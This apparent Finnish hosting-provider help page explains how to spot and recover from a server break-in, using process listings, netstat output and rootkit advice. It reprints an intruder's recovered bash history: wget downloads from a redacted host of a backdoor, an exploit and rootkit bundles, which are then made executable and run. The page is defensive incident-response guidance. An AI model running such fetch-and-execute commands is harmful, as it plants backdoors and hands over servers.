Hakkeroitu palvelin
Miten voin tarkastaa onko palvelimelleni murtauduttu?
Tarkastelemalla MRTG-graafeja huomaat helposti, jos joku käyttää palvelintasi esimerkiksi DDoS-hyökkäyksiin:
Ja palvelimelta löydämme:
root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]
root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
Hakkeri on päässyt ajamaan sovelluksiaan roottina. Palvelin täytyy asentaa kokonaan uudestaan.
netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823
Useimmat hakkerit asentavat murtautumisen jälkeen palvelimelle ns. rootkitin, joka mm. korvaa
ps,
ls,
netstat ja muut kriittiset työkalut, joiden avulla hakkeri sekä hakkerin ajamat sovellukset voitaisiin havaita. Yleensä hakkeri asentaa palvelimelle myös backdoorin, jotta hän pääsee palvelimelle takaisin, vaikka tietoturva-aukko korjattaisiin.
halt
Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...
The system is going down for system halt NOW !!
Palvelin täytyy asentaa uudestaan. Jos hakkeri ei ole saanut itselleen root-oikeuksia, uudelleenasentaminen ei olisi pakollista. Lue lisää
osittain hakkeroidusta palvelimesta.
Miksi ja miten palvelimeeni murtauduttiin?
Hakkereiden motiivit ovat erilaisia. Osalle murtautuminen on huvia ja he esimerkiksi muokkaavat vain www-sivujen ulkoasua. Osa hakkereista taas murtautuu ammatikseen ja käyttää hyväkseen palvelimelta saamiaan luottokorttitietoja. Miten he pääsivät murtautumaan palvelimelleni?
Salasanasi on ollut liian helppo tai olet käyttänyt salaamatonta yhteyttä. FTP:n sijasta kannattaa käyttää SFTP:tä. POP3:n sijasta kannattaa käyttää POP3S. IMAP:n sijasta kannattaa käyttää IMAPS jne. Myöskään normaalinkäyttäjän salasana ei kannata olla sama kuin rootin.
Et ole päivittänyt palvelimen kerneliä ja sovelluksia. Hakkeri voi päästä palvelimellesi päivittämättömän sovelluksen (SSHD, BIND, FTPD, Apache..) kautta suoraan jopa rootiksi. Jos hakkeri pääsee "vain" normaalikäyttäjäksi, hänen on mahdollista saada root-oikeudet päivittämättömän kernelin kautta.
OVH tarjoaa tietoturvan parantamiseksi
Täysiturva-lisäpalvelua.
Mitä nyt?
Kun murtautuminen palvelimelle havaitaan, se käynnistetään heti uudestaan Rescue-tilassa. Sinulle lähetetään kirjautumista varten tarvittavat tiedot sähköpostitse. Yhteys onnistuu vain FTP Read Only -tilassa. Voit varmuuskopioida ja tutkia tiedostojasi, ennenkuin asennat palvelimen uudestaan.
Voit myös pyytää teknikoilta palvelimen käynnistämistä normaalissa Rescue-tilassa, jolloin pääset muokkaamaan siellä olevia tiedostoja ja asetuksia. Sinun tulee selittää pyyntösi tarkasti ja kertoa sitoutuvasi korjaamaan palvelimen ennen sen käynnistämistä normaalitilassa. Jos et ole varma kyvystäsi pystyä estämään hakkerin pääsy palvelimelle, suosittelemme sinua asentamaan palvelimen kokonaan uudestaan.
Esimerkki
Aukko CGI-skriptissä
Palvelimen
/tmp-kansioon on ladattu mm.
g00dies.tgz-,
x- ja
k-tiedostot. Näistä x-sovellus on backdoor, jonka pyöriessä hakkeri pääsee takaisin palvelimelle.
Löysimme käyttäjän
nobody bash.historyn /tmp-kansiosta. Tässä sen sisältö:
cd /tmp
wget ###########/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget ###########/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ###########/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ###########/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ###########/smth
chmod +x smth
./smth
cd /tmp
wget ###########/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth
Sen avulla tiedämme, että käyttäjä on suorittanut komennot Apachen nobody-käyttäjänä. Hakkeri on mitä ilmeisemmin murtautunut palvelimelle CGI-skriptin haavoittuvaisuuden kautta.
Tapa kaikki epäilyttävät ja mahdollisesti haavoittuvaiset prosessit. Hakkeri ei näytä olevan saanut itselleen root-oikeuksia, mutta kannattaa silti pelata varman päälle ja vaihtaa kaikki salasanat: root, käyttäjät, mysql, mail jne..
Etsi murtautumisen jälkeen muokattuja tiedostoja, tässä tapauksessa 60 minuutin ajalta:
find /rep -cmin -60
Etsi jälkiä murtautumisesta Apachen-lokitiedostoista ajalta jolloin murtautuminen tapahtui löytääksesi viallisen skriptin.
Toinen esimerkkki hakkeroidusta palvelimesta.